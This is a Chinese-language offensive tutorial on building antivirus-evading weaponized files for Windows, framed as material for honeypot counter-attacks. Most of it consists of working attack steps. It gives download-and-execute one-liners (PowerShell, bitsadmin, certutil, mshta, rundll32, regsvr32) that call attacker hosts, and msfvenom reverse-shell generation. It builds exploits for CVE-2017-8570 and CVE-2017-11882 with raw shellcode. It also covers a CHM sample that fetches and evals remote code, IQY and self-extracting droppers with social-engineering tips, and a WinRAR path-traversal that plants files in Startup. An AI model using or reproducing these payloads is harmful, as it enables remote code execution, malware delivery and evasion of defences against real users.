Windows "置外"免杀应用
红队或真实案件,经常以文件构造诱饵,如精心构造cve-2017-11882,以达到突破外网。同理可以反制,中高交互蜜罐中可部署大量文档类型exp,填充Shellcode执行反制。
Windows下可执行文件,包含word/chm/iqy/sql等,从APT思维出发,杀伤链武器构造/载荷投递环节利用和反制。
环境&CMD远控
1. 010工具(windows16进制修改),Nodepad(记事本)也是可以解析rtf格式。
2. Windows平台&符合CVE适用的Office版本。
3. Exp可以执行Cmd命令,Cmd下载执行回连几种常用技术分享.
Powershell
cmd.exe /c "powershell(new-object System.Net.WebClient).
DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')"
Bitsadmin
cmd.exe /c "bitsadmin /transfer n http://192.168.28.128/imag/evil.txt %tmp%\1.exe & %tmp%\1.exe"
Certutil
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
Ipc
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
Msfvenom
1. 利用msf生成msi包
msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
2. cmd执行-可回连
msiexec /q /i http://192.168.28.128/evil.msi
Mshta
mshta http://192.168.28.128/run.hta
Run32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
regsvr32
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
File.sct
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true); // 执行操作
]]>
</script>
</registration>
</scriptlet>
Pubprn.vbs
Cmd.exe /c’"%windir%System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://192.168.10.1/test.sct’
Test.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); // 执行操作
]]>
</script>
</scriptlet>
对于溢出漏洞,直接编写shellcode执行更灵活更安全,并非一定使用上述cmd,如chm可以编写混淆js(html利用)等。
Offic类型:
CVE-2017-8570
漏洞介绍
ppsx格式漏洞(ppt),利用释放特性和机制,双击ppt时下载-自动执行,样本构建过程相对固定,这里就直接用.py脚本构建。
构建利用步骤
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.128.145/logo.doc
可以利用Msf回连远控,使用方式如下:
-
生成可执行文档
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.128.145/logo.doc
-
msf生成回连Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.145 LPORT=2255 -f exe > /tmp/shell.exe
-
监听shellcode
python cve-2017-8570_toolkit.py -M exp -e http://192.168.128.145/shell.exe -l /tmp/shell.exe
这种方式查杀几率较大,但有应用场景,需要配合RAT(可过免杀)使用。
CVE-2017-11882
漏洞介绍
2017年11月14日微软发布了11月安全补丁,其中包含隐藏17年之久的Office漏洞,编号CVE-2017-11882,类型是内存破坏(溢出),影响了几乎全部Office版本,攻击者可以利用漏洞进行任意攻击。
Rtf是一种文档格式,它能够被多数的Office软件打开,兼容性比较好,文档格式如下:
RTF_HEADER + OBJECT_HEADER + OBJECT_DATA +shellcode+ OBJDATA_TEMPLATE + RTF_TRAILER。
影响版本:
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
构建利用步骤:
- 填充字段数据见py脚本,首先填充RTF_HEADER和RTF_TRAILER
- 填充OBJECT_HEADER和OBJECT_TRAILER
- 填充OBJDATA_TEMPLATE和shellcode,漏洞溢出点是固定,下述4141段代码可填充构造的shellcode。
溢出组件不具备动态随机基址(ALSR) 和DEP,可以直接栈执行指令或直接执行函数。测试shellcode:636d642e657865202f6363616c632e6578652026(cmd.exe /ccalc.exe),替换到数据段溢出点414141..。
- 最终构造文档完成,测试效果如下:
- 免杀测试:
下述是网上公开的CVE-11882检测方案:
火绒/360检测大致有两个层面,首先EQNEDT32.EXE进程敏感操作拦截,如执行cmd或其他指令,第二再0x411655地址内存补丁,检测拷贝大小是否越界。
-
格式1,msf原生&常规格式exp免杀效果:
名称 360 智量 火绒 金山 瑞星 腾讯 WinDefender 免杀 Kill Kill Kill Kill Kill Kill kill
-
格式2,免杀效果:
名称 360 智量 火绒 金山 瑞星 腾讯 WinDefender 免杀 Kill Bypass Kill Bypass Bypass Bypass Bypass
格式2-exp基于18年360捕获野外样本进行利用,部分杀软对变种没有进行很好的拦截,也没有做内存补丁拷贝溢出监视,有一定免杀效果。用免杀较好的格式2编写了.py生成,需要注意使用如下:
用法格式:python cve-2017-11882-exp.py -c "cmd.exe /ccalc.exe &" -o 123456.rtf
注意:生成exp需要手动调整,下述标红便是输入的”cmd.exe /ccalc ”指令,红色和绿色之间加上一个字符(41 41 41中间随意插入),凑够88个字节(生成后是87个)。
{\*\objdata 01050000020000000b0000004571756174696f6e2e3300000000000000000041000000030101030a0a0401010112836100080000636d642e657865202f6363616c632e657865202641414141414141414141414141414141414141414141414120c43000105000000000000}
[*] Done ! output file >> 123456.rtf <<
nodepad打开exp,搜索41414141快速定位,按照上述补齐88个字节,这88个字节可以等换任意可执行的指令,比如执行%temp%xxx.exe或http://远程下载 & 执行。
CVE-2018-0802
漏洞介绍
0802是CVE-2017-11882补丁绕过,如果攻击者word已经打补丁,该漏洞可以触发利用,使用方式和11882相同,可绕过已打补丁(11882)Word软件.
其它类型:
CHM
.chm是Windows可执行文件,该技术手段被APT组织使用:
构建利用步骤:
hh.exe -decompile <解压目录> <CHM文件路径>,下图是野外样本virus.chm解压后的利用分析:
样本使用Item1.value值(执行指令),更多的高级用法其实是在html里编写js脚本强混淆都可以执行,扩展性很好,它支持html可以内嵌(js)。
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://23.83.243.205:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
- 下载安装:
https://docs.microsoft.com/zh-cn/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-downloads
打开hhw.exe,File-New-Project,下一步/下一步选择路径/下一步htm/选择添加利用文件:
添加html(编写任意利用),添加内容/选择文件夹(刚才生成的.hhp同目录),伪造价格列表或用户账号密码等,Save all file and compile即可生成.chm文件:
效果如下:
免杀测试:
遵守两个原则:
- 多混淆,利用js加密执行.
- 非正规html格式,如多个Body和混乱标签,.chm都是能正常解析/执行.
360/火绒/windows defender都无法检测,免杀效果较好。
Iqy
DarkHydrusAPT黑客组织曾用该手段攻击中东地区政府。该技术必须有交互(缺陷),iqy负责从远程拉去数据下载执行,但是会提示潜在安全问题,点击后才可进行下载执行,需要社工手法构造可信欺骗点击。
构建方式:
比较简单,新建文本填写下载执行url,后缀改为.iqy即可。需要结合社工手法,比如压缩附件,文件名更改为”远程获取数据库资源列表”,欺骗攻击者信任下载。
WinRar
漏洞介绍:
WinRAR漏洞(CVE-2018-20250)披露后活跃于黑灰产。因UNACEV2.dl处理ACE文件格式导致解压过程中存在目录穿越漏洞,允许解压过程中写入文件开机启动项,重启后代码执行。缺陷重启后才会执行,时效性降低,其实并不影响反制效果。
影响版本:
WinRAR < 5.70 Beta 1 测试环境使用 winrar-x64-560sc
Bandizip < = 6.2.0.0
好压(2345压缩) < = 5.9.8.10907
360压缩 < = 4.0.0.1170
构建利用步骤:
释放是可以指定路径,实战中要有通用性,否则会因每台电脑用户名及路径不同导致释放失败。
Win2003开机启动项路径:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
Win2008开机启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win2012开机启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win7 开机启动项路径:
C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win10 开机启动项路径:
C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.txt
开始构建,安装wace269i,利用winace压缩选中诱饵文件,右击add to....
Add to...压缩选择full path,生成.ace文件。
拖入010修改hex,首先找到我们的路径地址,如上图中的test.bat,替换它的路径到启动目录下,如下所示:
加载编写的模板/运行,鼠标移动到16进制字符串就会提示表示的含义:
修改大小:0x29是Name大小,改成替换路径大小。
修改hdr_type大小:从01 01 开始到字符串结尾,共0x83(原大小0x48)
修改大小工作已完成,最后还有一项hdr_crc需要从新计算,这里使用.py脚本,添加一行prinf,再校验之前把修改的文件crc值输出
18416则是0x47f0,修改hdr_crc
EXP构造完成,另存为.rar解压即可
脚本使用方式(以上环境都是python3),根据构造修改py中下述三处,放在同步目录下运行exp即可生成:
WinRar1
制作解压即执行的压缩文件,该手法经常被利用再各大论坛/软件网站,分发勒索和挖矿。其实不仅winrar软件可以制作,其它压缩软件也可以制作,而且不局限于7z或者zip,可用于反制。
构建利用步骤:
- 压缩时候选择添加自压缩
高级选项中选择子压缩格式设置,设置解压路径,比如测试路径
C:\Users\Administrator\AppData\Roaming\Microsoft
重点再设置,提取前/后可运行压缩包中的文件,然后生成xx.exe
需要配合社工来增加攻击者信任心理,可以精心构造文档和数据/图标/文本信息,模式更改为隐藏(双击会直接运行/静默解压),尽量伪装成有价值的数据文件。
数据库类型多数是RCE利用,需要蜜罐内部部署对应版本的网站和服务。应用场景是黑客拿站过程中反制,利用冰蝎/菜刀等工具CVE,当远程上传webshell/查询解析远程数据库,触发软件漏洞反制。